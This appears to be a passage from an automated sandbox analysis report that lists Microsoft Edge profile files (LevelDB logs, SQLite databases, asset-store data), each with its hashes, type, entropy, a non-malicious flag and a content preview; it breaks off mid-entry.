Encrypted:	false
SSDEEP:	6:HUOnX1cNwi23oH+Tcwtp3hBtB2KLlVUOnR/G3+q2PcNwi23oH+Tcwtp3hBWsIFUv:hZYebp3dFLI+vLZYebp3eFUv
MD5:	1256F80D10C304FD13F3D4A2785A431E
SHA1:	39CDD10C45848E9A2A152216218F9F6C600E4256
SHA-256:	DFB01348F7E315800F0E45EAE8A4908A6A991DBD98B85B1085AA9F121B1805BE
SHA-512:	6D55248ECA85EB376277762A88A1C4964458FDBD21DB0A9BB7125CDB6B61C241DAEF0CF5F7C385322A6013217F25CE75CC3DD9A9033869F1D5382D6E8A214679
Malicious:	false
Preview:	2024/11/18-04:25:57.512 1d5c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/18-04:25:57.586 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.0406220261112695
Encrypted:	false
SSDEEP:	24576:kPf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kPfgAmmE
MD5:	841DF97CC9CCC79A967547C497AA8881
SHA1:	578C734535E622E1BB5A8A75F07F25D7FC8F0E6B
SHA-256:	C36D85294188024C62921364E6DA6094090C572202F1934D23B1C181628D38AE
SHA-512:	885CF65BB224E20CC3AF74E06C40FD2CCBAA4005EFDFE6CC9C2391B8A900800FC2B3FB954EB51F6E612A451306DB1634F3544B4E0A854D4FBD6DFA94BA246A19
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.136765588359449
Encrypted:	false
SSDEEP:	6:HUOn74N1L+q2PcNwi23oH+Tcwt9Eh1tIFUt8YUOndj1Zmw+YUOnP1LVkwOcNwi2w:H0yvLZYeb9Eh16FUt8M/+WR54ZYeb9Er
MD5:	E433D7899CE2FFEE73BC3AF1878B4749
SHA1:	7D37CC98BAC8215697F2493D58A36B46D3B14EE2
SHA-256:	969425F64080153F14613797C4677637C3DE50FD3DF253BEA660A04E473F916F
SHA-512:	15FEA5663C5FA44B242448A63A9B81537F8AFEEF9D0DA24A5037C8B5CEBFACAC110CE0F61310B40F571C3E8E65BBE4B3C6F6A949975CC657473B9DA69986FDA6
Malicious:	false
Preview:	2024/11/18-04:25:57.548 20e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/18-04:25:57.552 20e8 Recovering log #3.2024/11/18-04:25:57.558 20e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.136765588359449
Encrypted:	false
SSDEEP:	6:HUOn74N1L+q2PcNwi23oH+Tcwt9Eh1tIFUt8YUOndj1Zmw+YUOnP1LVkwOcNwi2w:H0yvLZYeb9Eh16FUt8M/+WR54ZYeb9Er
MD5:	E433D7899CE2FFEE73BC3AF1878B4749
SHA1:	7D37CC98BAC8215697F2493D58A36B46D3B14EE2
SHA-256:	969425F64080153F14613797C4677637C3DE50FD3DF253BEA660A04E473F916F
SHA-512:	15FEA5663C5FA44B242448A63A9B81537F8AFEEF9D0DA24A5037C8B5CEBFACAC110CE0F61310B40F571C3E8E65BBE4B3C6F6A949975CC657473B9DA69986FDA6
Malicious:	false
Preview:	2024/11/18-04:25:57.548 20e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/18-04:25:57.552 20e8 Recovering log #3.2024/11/18-04:25:57.558 20e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46308492660178946
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBulN:TouQq3qh7z3bY2LNW9WMcUvBun
MD5:	B46BE1DD08295CA23ECE202E7845D7F7
SHA1:	3C1A127FBA0A8E146D9EFF340DE8D0A973A13FB5
SHA-256:	AE221EC61F233C5C5D6DB56ED54B3739A509D9823EE84C0DA16F2E43649680FF
SHA-512:	BAE1D119E97E6887D6932357C0719B6A29A53D267DA4CB6192B696FAC6F7E09A98CD90BF4EEC0FCEE43174CE3DFEA202E7684D6650C462E48F983475CD8A90AC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.217466325312427
Encrypted:	false
SSDEEP:	6:HUOvVq2PcNwi23oH+TcwtnG2tMsIFUt8YUOwgZmw+YUOwIkwOcNwi23oH+TcwtnB:JvLZYebn9GFUt8o/+w54ZYebn95J
MD5:	D6CA9691A26FA720516E354F196633C0
SHA1:	7CFB71FF37488952A25F961A6D9FD280A4B73377
SHA-256:	C396651D0CBC749F6C4227D5FE55F6DBB0B19967B2857DBE3D8D1EEBE33EDA41
SHA-512:	4E167624A4313E5F96116411A4262F8BAAC43DC43B32A6410A6138A9DA13CCB035401B33E13131965D57B094740A47E42C90814350E41B25ADA2D13A2CBECE02
Malicious:	false
Preview:	2024/11/18-04:25:50.784 f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/18-04:25:50.785 f80 Recovering log #3.2024/11/18-04:25:50.785 f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.217466325312427
Encrypted:	false
SSDEEP:	6:HUOvVq2PcNwi23oH+TcwtnG2tMsIFUt8YUOwgZmw+YUOwIkwOcNwi23oH+TcwtnB:JvLZYebn9GFUt8o/+w54ZYebn95J
MD5:	D6CA9691A26FA720516E354F196633C0
SHA1:	7CFB71FF37488952A25F961A6D9FD280A4B73377
SHA-256:	C396651D0CBC749F6C4227D5FE55F6DBB0B19967B2857DBE3D8D1EEBE33EDA41
SHA-512:	4E167624A4313E5F96116411A4262F8BAAC43DC43B32A6410A6138A9DA13CCB035401B33E13131965D57B094740A47E42C90814350E41B25ADA2D13A2CBECE02
Malicious:	false
Preview:	2024/11/18-04:25:50.784 f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/18-04:25:50.785 f80 Recovering log #3.2024/11/18-04:25:50.785 f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.612949154433604
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWtZqGMAq1qI:TLapR+DDNzWjJ0npnyXKUO8+j0XpLmL
MD5:	203DE80983FDB58A922BCA81FD9A44B3
SHA1:	44056CAFD4D6748425F12863717F8746FC0E4848
SHA-256:	E9DA1D992B3E0B881BCF45904A3EA0C9C55A30B856100FFFCCE7E555052C4D72
SHA-512:	B1814032AFCF3CF212450EB0A945048B91A3C73F8BAD1EDFF3D05659B24B2D41750C728ABF1D828AA950E7AB6B50B158B6BBA9123A9B7EB5B125A425512EEE9E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	375520
Entropy (8bit):	5.354127062840515
Encrypted:	false
SSDEEP:	6144:ZA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:ZFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	8914205AF8F72219C124E388A07B4E70
SHA1:	EADDC01861C95DD0498C33662E0F02DCF5302E22
SHA-256:	14F75DF82E038F02DBD984B5F575DF3E328D1A96462A1FE05B10EDA20109B02D
SHA-512:	A7E5D995D93D6A003FC05EFA1F3B76855E9BED61BE65D535612781D2A999F92AAD950A813B2DFF730CD0648065DDCE49E05B3EB75AE962D90636211118E400C2
Malicious:	false
Preview:	...m.................DB_VERSION.1.%7.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376395559644774..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.161673521472841
Encrypted:	false
SSDEEP:	6:HUOnRESD1cNwi23oH+Tcwtk2WwnvB2KLlVUO9M+q2PcNwi23oH+Tcwtk2WwnvIF2:+S5ZYebkxwnvFLy+vLZYebkxwnQFUv
MD5:	2523F32E128F64C8A28125ADEA8B954B
SHA1:	9EE48974FC3C1763C7D1B0DDE9AB324CE8142D5C
SHA-256:	BE646773C75E93D519A7D3FC96EBFA25D04A527095B7F872E504C292B721B4DF
SHA-512:	28755CC0AE16720CECDAB68320CB650C5E989CB4D488E383F11974DF851E93267D13300C5692707549BC5DFF7310F63DD7446DEC47D91FA676E2109D495F1018
Malicious:	false
Preview:	2024/11/18-04:25:57.586 20ac Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/18-04:25:58.210 20ac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	358860
Entropy (8bit):	5.32460735074489
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RE:C1gAg1zfvs
MD5:	A1E71751D09735D9DA4997176DA10133
SHA1:	D55B7226078A787847C71A9E48E4513F0D824BA9
SHA-256:	8820981AF1236E8DC2B2478B15E69C0DE76DB588F867602BBAD66EEF2AE9A02E
SHA-512:	C8595724236A740ECD399502D43FDA271932CA677E337D45965654E1E7B6174F6C48306F3D69CD8E4DED6C4FD68A7B63DAFE98C7D8DE85881842833FFB4C6CFD
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.174329406321772
Encrypted:	false
SSDEEP:	6:HUOsFN+q2PcNwi23oH+Tcwt8aPrqIFUt8YUOFJZmw+YUOF9VkwOcNwi23oH+TcwC:oIvLZYebL3FUt8IJ/+ID54ZYebQJ
MD5:	339D5C726D486CFBF9ABD20AB9B51A76
SHA1:	D8D415778A46E1E16C1055B575022E6FB7F88C7A
SHA-256:	A7124F1D8359AD542A4F2AF89BD82835DE3BD939CF59BC9CEE431482BD791827
SHA-512:	5FF9B4651BBD2DE55077CB50B716DC10A7917A9CCCB5C5D6A2B7D886D7DE12407B1D7A210E885280430CA56D39731C579D8F08C2CB92DD57BFA0E23057920612
Malicious:	false
Preview:	2024/11/18-04:25:50.901 fa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/18-04:25:50.902 fa8 Recovering log #3.2024/11/18-04:25:50.902 fa8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.174329406321772
Encrypted:	false
SSDEEP:	6:HUOsFN+q2PcNwi23oH+Tcwt8aPrqIFUt8YUOFJZmw+YUOF9VkwOcNwi23oH+TcwC:oIvLZYebL3FUt8IJ/+ID54ZYebQJ
MD5:	339D5C726D486CFBF9ABD20AB9B51A76
SHA1:	D8D415778A46E1E16C1055B575022E6FB7F88C7A
SHA-256:	A7124F1D8359AD542A4F2AF89BD82835DE3BD939CF59BC9CEE431482BD791827
SHA-512:	5FF9B4651BBD2DE55077CB50B716DC10A7917A9CCCB5C5D6A2B7D886D7DE12407B1D7A210E885280430CA56D39731C579D8F08C2CB92DD57BFA0E23057920612
Malicious:	false
Preview:	2024/11/18-04:25:50.901 fa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/18-04:25:50.902 fa8 Recovering log #3.2024/11/18-04:25:50.902 fa8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.205841480286438
Encrypted:	false
SSDEEP:	6:HUOb3+q2PcNwi23oH+Tcwt865IFUt8YUO05Zmw+YUO0tVkwOcNwi23oH+Tcwt86L:WvLZYeb/WFUt8r5/+rT54ZYeb/+SJ
MD5:	68A3D0F456A986282AA3AD011C0961D3
SHA1:	504C3A10A0E37885057B4D12F8021DFC24B861F7
SHA-256:	F0ECD88E2E6FF126311C9FB6F8EF261E4353C72F0214D1BC3BA2A5F187A85DED
SHA-512:	D83F8D34254237CC0EB7CCA4B91FD57130FE860A0E78C39AE7D6A1868F930D7FDEC4435BDF14C5AD4298E1788DEE4999A11466503AA693A53EED4FD03A8C5C3A
Malicious:	false
Preview:	2024/11/18-04:25:50.906 fa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/18-04:25:50.909 fa8 Recovering log #3.2024/11/18-04:25:50.909 fa8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.205841480286438
Encrypted:	false
SSDEEP:	6:HUOb3+q2PcNwi23oH+Tcwt865IFUt8YUO05Zmw+YUO0tVkwOcNwi23oH+Tcwt86L:WvLZYeb/WFUt8r5/+rT54ZYeb/+SJ
MD5:	68A3D0F456A986282AA3AD011C0961D3
SHA1:	504C3A10A0E37885057B4D12F8021DFC24B861F7
SHA-256:	F0ECD88E2E6FF126311C9FB6F8EF261E4353C72F0214D1BC3BA2A5F187A85DED
SHA-512:	D83F8D34254237CC0EB7CCA4B91FD57130FE860A0E78C39AE7D6A1868F930D7FDEC4435BDF14C5AD4298E1788DEE4999A11466503AA693A53EED4FD03A8C5C3A
Malicious:	false
Preview:	2024/11/18-04:25:50.906 fa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/18-04:25:50.909 fa8 Recovering log #3.2024/11/18-04:25:50.909 fa8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.19558617761176
